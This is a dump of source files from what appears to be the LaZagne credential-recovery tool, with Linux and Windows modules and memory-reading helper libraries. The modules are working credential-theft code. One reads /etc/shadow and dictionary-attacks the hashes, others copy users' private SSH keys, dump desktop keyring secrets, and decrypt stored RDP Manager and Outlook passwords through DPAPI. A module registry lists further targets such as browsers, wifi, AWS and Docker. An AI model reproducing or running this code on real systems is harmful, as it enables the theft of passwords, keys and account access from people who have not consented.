36 | self.end = end
37 |
38 | def find(self, value, erase_last = True):
39 | return self.feed(value, erase_last)
40 |
41 | def feed(self, value, erase_last = True):
42 | self.last_value = value
43 | new_iter = copy.copy(self.last_iteration)
44 | if self.type == 'unknown':
45 | all_types = ['uint',
46 | 'int',
47 | 'long',
48 | 'ulong',
49 | 'float',
50 | 'double',
51 | 'short',
52 | 'ushort']
53 | else:
54 | all_types = [self.type]
55 | for type in all_types:
56 | if type not in new_iter:
57 | try:
58 | new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ]
59 | except struct.error:
60 | new_iter[type] = []
61 | else:
62 | l = []
63 | for address in new_iter[type]:
64 | try:
65 | found = self.mw.process.read(address, type)
66 | if int(found) == int(value):
67 | l.append(Address(address, self.mw.process, type))
68 | except Exception as e:
69 | pass
70 |
71 | new_iter[type] = l
72 |
73 | if erase_last:
74 | del self.last_iteration
75 | self.last_iteration = new_iter
76 | return new_iter
77 |
78 | def get_addresses(self):
79 | return self.last_iteration
80 |
81 | def diff(self, erase_last = False):
82 | return self.get_modified_addr(erase_last)
83 |
84 | def get_modified_addr(self, erase_last = False):
85 | last = self.last_iteration
86 | new = self.feed(self.last_value, erase_last=erase_last)
87 | ret = {}
88 | for type, l in last.iteritems():
89 | typeset = set(new[type])
90 | for addr in l:
91 | if addr not in typeset:
92 | if type not in ret:
93 | ret[type] = []
94 | ret[type].append(addr)
95 |
96 | return ret
97 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/sysadmin/shadow.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | import crypt
4 | import os
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 | from lazagne.config.dico import get_dic
8 |
9 |
10 | class Shadow(ModuleInfo):
11 |
12 | def __init__(self):
13 | ModuleInfo.__init__(self, 'shadow', 'sysadmin')
14 |
15 | def dictionary_attack(self, user, crypt_pwd):
16 | dic = get_dic() # By default 500 most famous passwords are used for the dictionary attack
17 | dic.insert(0, user) # Add the user on the list to found weak password (login equal password)
18 |
19 | # Different possible hash type
20 | # ID | Method
21 | # --------------------------------------------------------------------------
22 | # 1 | MD5
23 | # 2 | Blowfish (not in mainline glibc; added in some Linux distributions)
24 | # 5 | SHA-256 (since glibc 2.7)
25 | # 6 | SHA-512 (since glibc 2.7)
26 |
27 | if '$' not in crypt_pwd:
28 | # Either malformed or old bcrypt password
29 | return False
30 |
31 | hash_type = crypt_pwd.split("$")[1]
32 | hash_algo = {
33 | '1': 'MD5',
34 | '2': 'Blowfish',
35 | '5': 'SHA-256',
36 | '6': 'SHA-512', # Used by all modern computers
37 | }
38 |
39 | # For Debug information
40 | for h_type in hash_algo:
41 | if h_type == hash_type:
42 | self.debug('[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type]))
43 |
44 | real_salt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=crypt_pwd.split("$")[2])
45 |
46 | # -------------------------- Dictionary attack --------------------------
47 | self.info('Dictionary Attack on the hash !!! ')
48 | try:
49 | for word in dic:
50 | try:
51 | crypt_word = crypt.crypt(word, real_salt)
52 | if crypt_word == crypt_pwd:
53 | return {
54 | 'Login': user,
55 | 'Password': word
56 | }
57 | except Exception as e:
58 | pass
59 |
60 | except (KeyboardInterrupt, SystemExit):
61 | self.debug(u'Dictionary attack interrupted')
62 |
63 | return False
64 |
65 | def run(self):
66 | # Need admin privilege
67 | if os.getuid() == 0:
68 | pwd_found = []
69 | with open('/etc/shadow', 'r') as shadow_file:
70 | for line in shadow_file.readlines():
71 | user_hash = line.replace('\n', '')
72 | line = user_hash.split(':')
73 |
74 | # Check if a password is defined
75 | if not line[1] in ['x', '*', '!']:
76 | user = line[0]
77 | crypt_pwd = line[1]
78 |
79 | # Try dictionary attack
80 | result = self.dictionary_attack(user, crypt_pwd)
81 | if result:
82 | pwd_found.append(result)
83 |
84 | else:
85 | # No clear text password found - save hash
86 | pwd_found.append({
87 | 'Hash': ':'.join(user_hash.split(':')[1:]),
88 | 'Login': user_hash.split(':')[0].replace('\n', '')
89 | })
90 |
91 | return pwd_found
92 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/manage_modules.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | # keyring
4 | from lazagne.softwares.wallet.kde import Kde
5 | from lazagne.softwares.wallet.libsecret import Libsecret
6 | # browsers
7 | from lazagne.softwares.browsers.mozilla import firefox_browsers
8 | from lazagne.softwares.browsers.opera import Opera
9 | from lazagne.softwares.browsers.chromium_based import chromium_browsers
10 | # sysadmin
11 | from lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio
12 | from lazagne.softwares.sysadmin.filezilla import Filezilla
13 | from lazagne.softwares.sysadmin.fstab import Fstab
14 | from lazagne.softwares.sysadmin.env_variable import Env_variable
15 | from lazagne.softwares.sysadmin.shadow import Shadow
16 | from lazagne.softwares.sysadmin.aws import Aws
17 | from lazagne.softwares.sysadmin.ssh import Ssh
18 | from lazagne.softwares.sysadmin.docker import Docker
19 | from lazagne.softwares.sysadmin.cli import Cli
20 | from lazagne.softwares.sysadmin.gftp import gFTP
21 | from lazagne.softwares.sysadmin.keepassconfig import KeePassConfig
22 | from lazagne.softwares.sysadmin.grub import Grub
23 | # chats
24 | from lazagne.softwares.chats.pidgin import Pidgin
25 | from lazagne.softwares.chats.psi import PSI
26 | # mails
27 | from lazagne.softwares.mails.clawsmail import ClawsMail
28 | from lazagne.softwares.mails.thunderbird import Thunderbird
29 | # wifi
30 | from lazagne.softwares.wifi.wifi import Wifi
31 | from lazagne.softwares.wifi.wpa_supplicant import Wpa_supplicant
32 | # databases
33 | from lazagne.softwares.databases.squirrel import Squirrel
34 | from lazagne.softwares.databases.dbvis import DbVisualizer
35 | from lazagne.softwares.databases.sqldeveloper import SQLDeveloper
36 |
37 | # memory
38 | from lazagne.softwares.memory.mimipy import Mimipy
39 |
40 | # git
41 | from lazagne.softwares.git.gitforlinux import GitForLinux
42 | try:
43 | from lazagne.softwares.memory.memorydump import MemoryDump
44 | except ImportError:
45 | pass
46 |
47 |
48 | def get_categories():
49 | category = {
50 | 'chats': {'help': 'Chat clients supported'},
51 | 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'},
52 | 'databases': {'help': 'SQL clients supported'},
53 | 'mails': {'help': 'Email clients supported'},
54 | 'memory': {'help': 'Retrieve passwords from memory'},
55 | 'wifi': {'help': 'Wifi'},
56 | 'browsers': {'help': 'Web browsers supported'},
57 | 'wallet': {'help': 'Windows credentials (credential manager, etc.)'},
58 | 'git': {'help': 'GIT clients supported'}
59 | }
60 | return category
61 |
62 |
63 | def get_modules():
64 | module_names = [
65 | ClawsMail(),
66 | Thunderbird(),
67 | DbVisualizer(),
68 | Env_variable(),
69 | ApacheDirectoryStudio(),
70 | Filezilla(),
71 | Fstab(),
72 | # Mozilla(),
73 | Opera(),
74 | # Chrome(),
75 | Pidgin(),
76 | PSI(),
77 | Shadow(),
78 | Aws(),
79 | Docker(),
80 | Ssh(),
81 | Cli(),
82 | gFTP(),
83 | KeePassConfig(),
84 | Grub(),
85 | SQLDeveloper(),
86 | Squirrel(),
87 | Wifi(),
88 | Wpa_supplicant(),
89 | Kde(),
90 | Libsecret(),
91 | Mimipy(),
92 | GitForLinux()
93 | ]
94 |
95 | # very long to execute
96 | # try:
97 | # module_names.append(MemoryDump())
98 | # except:
99 | # pass
100 |
101 | return module_names + chromium_browsers + firefox_browsers
102 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/sysadmin/ssh.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | import os
4 |
5 | from lazagne.config.module_info import ModuleInfo
6 | from lazagne.config import homes
7 |
8 |
9 | class Ssh(ModuleInfo):
10 | def __init__(self):
11 | ModuleInfo.__init__(self, 'ssh', 'sysadmin')
12 |
13 | def get_ids(self):
14 | known = set()
15 | for user, identity in homes.users(file=[
16 | os.path.join('.ssh', item) for item in (
17 | 'id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519'
18 | )
19 | ]):
20 | if os.path.isfile(identity):
21 | try:
22 | with open(identity) as fidentity:
23 | yield {
24 | 'KEY': fidentity.read(),
25 | 'User': user,
26 | }
27 | known.add(identity)
28 | except Exception:
29 | pass
30 |
31 | for user, config in self.get_configs():
32 | for pw in self.get_ids_from_config(user, config):
33 | if pw['KEY'] in known:
34 | continue
35 |
36 | try:
37 | with open(pw['KEY']) as fidentity:
38 | pw['KEY'] = fidentity.read()
39 | yield pw
40 | known.add(identity)
41 | except Exception:
42 | pass
43 |
44 | def get_configs(self):
45 | return homes.users(file=os.path.join('.ssh', 'config'))
46 |
47 | def create_pw_object(self, identity, host, port, user):
48 | pw = {'KEY': identity}
49 | if host:
50 | pw['Host'] = host
51 | if port:
52 | pw['Port'] = port
53 | if user:
54 | pw['Login'] = user
55 | return pw
56 |
57 | def get_ids_from_config(self, default_user, config):
58 | try:
59 | hostname = None
60 | port = 22
61 | user = default_user
62 | identity = None
63 |
64 | with open(config) as fconfig:
65 | for line in fconfig.readlines():
66 | line = line.strip()
67 |
68 | if line.startswith('#'):
69 | continue
70 |
71 | line = line.split()
72 | if len(line) < 2:
73 | continue
74 |
75 | cmd, args = line[0].lower(), line[1:]
76 | args = ' '.join([x for x in args if x])
77 |
78 | if cmd == 'host':
79 | if identity:
80 | yield self.create_pw_object(
81 | identity, hostname, port, user
82 | )
83 |
84 | hostname = None
85 | port = 22
86 | user = default_user
87 | identity = None
88 |
89 | elif cmd == 'hostname':
90 | hostname = args
91 |
92 | elif cmd == 'user':
93 | user = args
94 |
95 | elif cmd == 'identityfile':
96 | if args.startswith('~/'):
97 | args = config[:config.find('.ssh')] + args[2:]
98 | identity = args
99 |
100 | if identity:
101 | yield self.create_pw_object(
102 | identity, hostname, port, user
103 | )
104 |
105 | except Exception as e:
106 | pass
107 |
108 | def run(self):
109 | return list(self.get_ids())
110 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/utils.py:
--------------------------------------------------------------------------------
1 | # Author: Nicolas VERDIER
2 | # This file is part of memorpy.
3 | #
4 | # memorpy is free software: you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation, either version 3 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # memorpy is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with memorpy. If not, see .
16 |
17 | import re
18 | import struct
19 |
20 | def re_to_unicode(s):
21 | newstring = ''
22 | for c in s:
23 | newstring += re.escape(c) + '\\x00'
24 |
25 | return newstring
26 |
27 |
28 | def type_unpack(type):
29 | """ return the struct and the len of a particular type """
30 | type = type.lower()
31 | s = None
32 | l = None
33 | if type == 'short':
34 | s = 'h'
35 | l = 2
36 | elif type == 'ushort':
37 | s = 'H'
38 | l = 2
39 | elif type == 'int':
40 | s = 'i'
41 | l = 4
42 | elif type == 'uint':
43 | s = 'I'
44 | l = 4
45 | elif type == 'long':
46 | s = 'l'
47 | l = 4
48 | elif type == 'ulong':
49 | s = 'L'
50 | l = 4
51 | elif type == 'float':
52 | s = 'f'
53 | l = 4
54 | elif type == 'double':
55 | s = 'd'
56 | l = 8
57 | else:
58 | raise TypeError('Unknown type %s' % type)
59 | return ('<' + s, l)
60 |
61 |
62 | def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'):
63 | """
64 | function originally from pydbg, modified to display other types
65 | """
66 | dump = prefix
67 | slice = ''
68 | if ftype != 'bytes':
69 | structtype, structlen = type_unpack(ftype)
70 | for i in range(0, len(data), structlen):
71 | if addr % 16 == 0:
72 | dump += ' '
73 | for char in slice:
74 | if ord(char) >= 32 and ord(char) <= 126:
75 | dump += char
76 | else:
77 | dump += '.'
78 |
79 | dump += '\n%s%08X: ' % (prefix, addr)
80 | slice = ''
81 | tmpval = 'NaN'
82 | try:
83 | packedval = data[i:i + structlen]
84 | tmpval = struct.unpack(structtype, packedval)[0]
85 | except Exception as e:
86 | print(e)
87 |
88 | if tmpval == 'NaN':
89 | dump += '{:<15} '.format(tmpval)
90 | elif ftype == 'float':
91 | dump += '{:<15.4f} '.format(tmpval)
92 | else:
93 | dump += '{:<15} '.format(tmpval)
94 | addr += structlen
95 |
96 | else:
97 | for byte in data:
98 | if addr % 16 == 0:
99 | dump += ' '
100 | for char in slice:
101 | if ord(char) >= 32 and ord(char) <= 126:
102 | dump += char
103 | else:
104 | dump += '.'
105 |
106 | dump += '\n%s%08X: ' % (prefix, addr)
107 | slice = ''
108 | dump += '%02X ' % byte
109 | slice += chr(byte)
110 | addr += 1
111 |
112 | remainder = addr % 16
113 | if remainder != 0:
114 | dump += ' ' * (16 - remainder) + ' '
115 | for char in slice:
116 | if ord(char) >= 32 and ord(char) <= 126:
117 | dump += char
118 | else:
119 | dump += '.'
120 |
121 | return dump + '\n'
122 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/wallet/libsecret.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | from lazagne.config.constant import constant
4 | from lazagne.config.module_info import ModuleInfo
5 | from lazagne.config import homes
6 | from binascii import hexlify
7 | import traceback
8 |
9 | try:
10 | import jeepney.auth
11 | # except ImportError:
12 | except Exception:
13 | pass
14 | else:
15 | # Thanks to @mitya57 for its Work around
16 | def make_auth_external():
17 | hex_uid = hexlify(str(make_auth_external.uid).encode('ascii'))
18 | return b'AUTH EXTERNAL %b\r\n' % hex_uid
19 | jeepney.auth.make_auth_external = make_auth_external
20 |
21 |
22 | class Libsecret(ModuleInfo):
23 | def __init__(self):
24 | ModuleInfo.__init__(self, 'libsecret', 'wallet')
25 |
26 | def run(self):
27 | items = []
28 | visited = set()
29 | try:
30 | import dbus
31 | import secretstorage
32 | import datetime
33 | except ImportError as e:
34 | self.error('libsecret: {0}'.format(e))
35 | return []
36 |
37 | for uid, session in homes.sessions():
38 | try:
39 | # List bus connection names
40 | bus = dbus.bus.BusConnection(session)
41 | if 'org.freedesktop.secrets' not in [str(x) for x in bus.list_names()]:
42 | continue
43 | except Exception:
44 | self.error(traceback.format_exc())
45 | continue
46 |
47 | collections = None
48 | try:
49 | # Python 2.7
50 | collections = list(secretstorage.collection.get_all_collections(bus))
51 | except Exception:
52 | pass
53 |
54 | if not collections:
55 | try:
56 | # Python 3
57 | from jeepney.integrate.blocking import connect_and_authenticate
58 | make_auth_external.uid = uid
59 | bus = connect_and_authenticate(session)
60 | collections = secretstorage.get_all_collections(bus)
61 | except Exception:
62 | self.error(traceback.format_exc())
63 | continue
64 |
65 | for collection in collections:
66 | if collection.is_locked():
67 | continue
68 |
69 | label = collection.get_label()
70 | if label in visited:
71 | continue
72 |
73 | visited.add(label)
74 |
75 | try:
76 | storage = collection.get_all_items()
77 | except Exception:
78 | self.error(traceback.format_exc())
79 | continue
80 |
81 | for item in storage:
82 | values = {
83 | 'created': str(datetime.datetime.fromtimestamp(item.get_created())),
84 | 'modified': str(datetime.datetime.fromtimestamp(item.get_modified())),
85 | 'content-type': item.get_secret_content_type(),
86 | 'label': item.get_label(),
87 | 'Password': item.get_secret().decode('utf8'),
88 | 'collection': label,
89 | }
90 |
91 | # for k, v in item.get_attributes().iteritems():
92 | # values[unicode(k)] = unicode(v)
93 | items.append(values)
94 | if item.get_label().endswith('Safe Storage'):
95 | constant.chrome_storage.append(item.get_secret())
96 |
97 | try:
98 | bus.flush()
99 | bus.close()
100 | except Exception:
101 | pass
102 |
103 | return items
104 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/utils.py:
--------------------------------------------------------------------------------
1 | # Author: Nicolas VERDIER
2 | # This file is part of memorpy.
3 | #
4 | # memorpy is free software: you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation, either version 3 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # memorpy is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with memorpy. If not, see .
16 |
17 | import re
18 | import struct
19 |
20 | def re_to_unicode(s):
21 | newstring = ''
22 | for c in s:
23 | newstring += re.escape(c) + '\\x00'
24 |
25 | return newstring
26 |
27 |
28 | def type_unpack(type):
29 | """ return the struct and the len of a particular type """
30 | type = type.lower()
31 | s = None
32 | l = None
33 | if type == 'short':
34 | s = 'h'
35 | l = 2
36 | elif type == 'ushort':
37 | s = 'H'
38 | l = 2
39 | elif type == 'int':
40 | s = 'i'
41 | l = 4
42 | elif type == 'uint':
43 | s = 'I'
44 | l = 4
45 | elif type == 'long':
46 | s = 'l'
47 | l = 4
48 | elif type == 'ulong':
49 | s = 'L'
50 | l = 4
51 | elif type == 'float':
52 | s = 'f'
53 | l = 4
54 | elif type == 'double':
55 | s = 'd'
56 | l = 8
57 | else:
58 | raise TypeError('Unknown type %s' % type)
59 | return ('<' + s, l)
60 |
61 |
62 | def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'):
63 | """
64 | function originally from pydbg, modified to display other types
65 | """
66 | dump = prefix
67 | slice = ''
68 | if ftype != 'bytes':
69 | structtype, structlen = type_unpack(ftype)
70 | for i in range(0, len(data), structlen):
71 | if addr % 16 == 0:
72 | dump += ' '
73 | for char in slice:
74 | if ord(char) >= 32 and ord(char) <= 126:
75 | dump += char
76 | else:
77 | dump += '.'
78 |
79 | dump += '\n%s%08X: ' % (prefix, addr)
80 | slice = ''
81 | tmpval = 'NaN'
82 | try:
83 | packedval = data[i:i + structlen]
84 | tmpval = struct.unpack(structtype, packedval)[0]
85 | except Exception as e:
86 | print(e)
87 |
88 | if tmpval == 'NaN':
89 | dump += '{:<15} '.format(tmpval)
90 | elif ftype == 'float':
91 | dump += '{:<15.4f} '.format(tmpval)
92 | else:
93 | dump += '{:<15} '.format(tmpval)
94 | addr += structlen
95 |
96 | else:
97 | for byte in data:
98 | if addr % 16 == 0:
99 | dump += ' '
100 | for char in slice:
101 | if ord(char) >= 32 and ord(char) <= 126:
102 | dump += char
103 | else:
104 | dump += '.'
105 |
106 | dump += '\n%s%08X: ' % (prefix, addr)
107 | slice = ''
108 | dump += '%02X ' % byte
109 | slice += chr(byte)
110 | addr += 1
111 |
112 | remainder = addr % 16
113 | if remainder != 0:
114 | dump += ' ' * (16 - remainder) + ' '
115 | for char in slice:
116 | if ord(char) >= 32 and ord(char) <= 126:
117 | dump += char
118 | else:
119 | dump += '.'
120 |
121 | return dump + '\n'
122 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/rdpmanager.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import base64
3 |
4 | from xml.etree.cElementTree import ElementTree
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 | from lazagne.config.winstructure import Win32CryptUnprotectData
8 | from lazagne.config.constant import constant
9 |
10 | import os
11 |
12 |
13 | class RDPManager(ModuleInfo):
14 | def __init__(self):
15 | ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True)
16 |
17 | def decrypt_password(self, encrypted_password):
18 | try:
19 | decoded = base64.b64decode(encrypted_password)
20 | password_decrypted_bytes = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
21 | password_decrypted = password_decrypted_bytes.decode("utf-8")
22 | password_decrypted = password_decrypted.replace('\x00', '')
23 | except Exception:
24 | password_decrypted = encrypted_password.replace('\x00', '')
25 | return password_decrypted
26 |
27 | def format_output_tag(self, tag):
28 | tag = tag.lower()
29 | if 'username' in tag:
30 | tag = 'Login'
31 | elif 'hostname' in tag:
32 | tag = 'URL'
33 | return tag.capitalize()
34 |
35 | def check_tag_content(self, values, c):
36 | if 'password' in c.tag.lower():
37 | values['Password'] = self.decrypt_password(c.text)
38 | else:
39 | tag = self.format_output_tag(c.tag)
40 | values[tag] = c.text
41 | return values
42 |
43 | def parse_element(self, root, element):
44 | pwd_found = []
45 | try:
46 | for r in root.findall(element):
47 | values = {}
48 | for child in r.getchildren():
49 | if child.tag == 'properties':
50 | for c in child.getchildren():
51 | values = self.check_tag_content(values, c)
52 | elif child.tag == 'logonCredentials':
53 | for c in child.getchildren():
54 | values = self.check_tag_content(values, c)
55 | else:
56 | values = self.check_tag_content(values, child)
57 | if values:
58 | pwd_found.append(values)
59 | except Exception as e:
60 | self.debug(str(e))
61 |
62 | return pwd_found
63 |
64 | def run(self):
65 | settings = [
66 | os.path.join(constant.profile['LOCALAPPDATA'],
67 | u'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'),
68 | os.path.join(constant.profile['LOCALAPPDATA'],
69 | u'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings')
70 | ]
71 |
72 | for setting in settings:
73 | if os.path.exists(setting):
74 | self.debug(u'Setting file found: {setting}'.format(setting=setting))
75 |
76 | tree = ElementTree(file=setting)
77 | root = tree.getroot()
78 | pwd_found = []
79 |
80 | elements = [
81 | 'CredentialsProfiles/credentialsProfiles/credentialsProfile',
82 | 'DefaultGroupSettings/defaultSettings/logonCredentials',
83 | 'file/server',
84 | ]
85 |
86 | for element in elements:
87 | pwd_found += self.parse_element(root, element)
88 |
89 | try:
90 | for r in root.find('FilesToOpen'):
91 | if os.path.exists(r.text):
92 | self.debug(u'New setting file found: %s' % r.text)
93 | pwd_found += self.parse_xml(r.text)
94 | except Exception:
95 | pass
96 |
97 | return pwd_found
98 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/mails/outlook.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | try:
3 | import _winreg as winreg
4 | except ImportError:
5 | import winreg
6 |
7 | import lazagne.config.winstructure as win
8 | from lazagne.config.module_info import ModuleInfo
9 | from lazagne.config.constant import constant
10 |
11 |
12 | class Outlook(ModuleInfo):
13 | def __init__(self):
14 | ModuleInfo.__init__(self, 'outlook', 'mails', registry_used=True, winapi_used=True)
15 |
16 | def trySingleKey(self, keyPath):
17 | try:
18 | hkey = win.OpenKey(win.HKEY_CURRENT_USER, keyPath)
19 | except Exception as e:
20 | self.debug(e)
21 | return
22 |
23 | num = winreg.QueryInfoKey(hkey)[0]
24 | pwd_found = []
25 | for x in range(0, num):
26 | name = winreg.EnumKey(hkey, x)
27 | skey = win.OpenKey(hkey, name, 0, win.ACCESS_READ)
28 |
29 | num_skey = winreg.QueryInfoKey(skey)[0]
30 | if num_skey != 0:
31 | for y in range(0, num_skey):
32 | name_skey = winreg.EnumKey(skey, y)
33 | sskey = win.OpenKey(skey, name_skey)
34 | num_sskey = winreg.QueryInfoKey(sskey)[1]
35 |
36 | for z in range(0, num_sskey):
37 | k = winreg.EnumValue(sskey, z)
38 | if 'password' in k[0].lower():
39 | values = self.retrieve_info(sskey, name_skey)
40 |
41 | if values:
42 | pwd_found.append(values)
43 |
44 | winreg.CloseKey(skey)
45 | winreg.CloseKey(hkey)
46 | return pwd_found
47 |
48 | def retrieve_info(self, hkey, name_key):
49 | values = {}
50 | num = winreg.QueryInfoKey(hkey)[1]
51 | for x in range(0, num):
52 | k = winreg.EnumValue(hkey, x)
53 | if 'password' in k[0].lower():
54 | try:
55 | password_bytes = win.Win32CryptUnprotectData(k[1][1:], is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
56 | # password_bytes is + b'\x00\x00'
57 | terminator = b'\x00\x00'
58 | if password_bytes.endswith(terminator):
59 | password_bytes = password_bytes[: -len(terminator)]
60 |
61 | values[k[0]] = password_bytes.decode("utf-16")
62 | except Exception as e:
63 | self.debug(str(e))
64 | values[k[0]] = 'N/A'
65 | else:
66 | try:
67 | values[k[0]] = str(k[1]).decode('utf16')
68 | except Exception:
69 | values[k[0]] = str(k[1])
70 | return values
71 |
72 | def run(self):
73 | # https://github.com/0Fdemir/OutlookPasswordRecovery/blob/master/OutlookPasswordRecovery/Module1.vb
74 | key_paths = {
75 | "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook",
76 | "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles",
77 | }
78 | # https://docs.microsoft.com/en-us/previous-versions/office/jj228679(v=office.15)
79 | major_versions = {
80 | "7.0", # Office 97
81 | "8.0", # Office 98
82 | "9.0", # Office 2000
83 | "10.0", # Office XP
84 | "11.0", # Office 2003
85 | "12.0", # Office 2007
86 | "14.0", # Office 2010
87 | "15.0", # Office 2013
88 | "16.0", # Office 2016
89 | "16.0", # Office 2019
90 | }
91 | key_paths.update("Software\\Microsoft\\Office\\%s\\Outlook\\Profiles\\Outlook" % x for x in major_versions)
92 | for key_path in key_paths:
93 | result = self.trySingleKey(keyPath=key_path)
94 | if not result is None:
95 | return result
96 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/Address.py:
--------------------------------------------------------------------------------
1 | # Author: Nicolas VERDIER
2 | # This file is part of memorpy.
3 | #
4 | # memorpy is free software: you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation, either version 3 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # memorpy is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with memorpy. If not, see .
16 |
17 | from .utils import *
18 |
19 | class AddressException(Exception):
20 | pass
21 |
22 |
23 | class Address(object):
24 | """ this class is used to have better representation of memory addresses """
25 |
26 | def __init__(self, value, process, default_type = 'uint'):
27 | self.value = int(value)
28 | self.process = process
29 | self.default_type = default_type
30 | self.symbolic_name = None
31 |
32 | def read(self, type = None, maxlen = None, errors='raise'):
33 | if maxlen is None:
34 | try:
35 | int(type)
36 | maxlen = int(type)
37 | type = None
38 | except:
39 | pass
40 |
41 | if not type:
42 | type = self.default_type
43 | if not maxlen:
44 | return self.process.read(self.value, type=type, errors=errors)
45 | else:
46 | return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors)
47 |
48 | def write(self, data, type = None):
49 | if not type:
50 | type = self.default_type
51 | return self.process.write(self.value, data, type=type)
52 |
53 | def symbol(self):
54 | return self.process.get_symbolic_name(self.value)
55 |
56 | def get_instruction(self):
57 | return self.process.get_instruction(self.value)
58 |
59 | def dump(self, ftype = 'bytes', size = 512, before = 32):
60 | buf = self.process.read_bytes(self.value - before, size)
61 | print(hex_dump(buf, self.value - before, ftype=ftype))
62 |
63 | def __nonzero__(self):
64 | return self.value is not None and self.value != 0
65 |
66 | def __add__(self, other):
67 | return Address(self.value + int(other), self.process, self.default_type)
68 |
69 | def __sub__(self, other):
70 | return Address(self.value - int(other), self.process, self.default_type)
71 |
72 | def __repr__(self):
73 | if not self.symbolic_name:
74 | self.symbolic_name = self.symbol()
75 | return str('')
76 |
77 | def __str__(self):
78 | if not self.symbolic_name:
79 | self.symbolic_name = self.symbol()
80 | return str('' % (str(self.read()).encode('unicode_escape'), self.default_type))
81 |
82 | def __int__(self):
83 | return int(self.value)
84 |
85 | def __hex__(self):
86 | return hex(self.value)
87 |
88 | def __get__(self, instance, owner):
89 | return self.value
90 |
91 | def __set__(self, instance, value):
92 | self.value = int(value)
93 |
94 | def __lt__(self, other):
95 | return self.value < int(other)
96 |
97 | def __le__(self, other):
98 | return self.value <= int(other)
99 |
100 | def __eq__(self, other):
101 | return self.value == int(other)
102 |
103 | def __ne__(self, other):
104 | return self.value != int(other)
105 |
106 | def __gt__(self, other):
107 | return self.value > int(other)
108 |
109 | def __ge__(self, other):
110 | return self.value >= int(other)
111 |
112 |
--------------------------------------------------------------------------------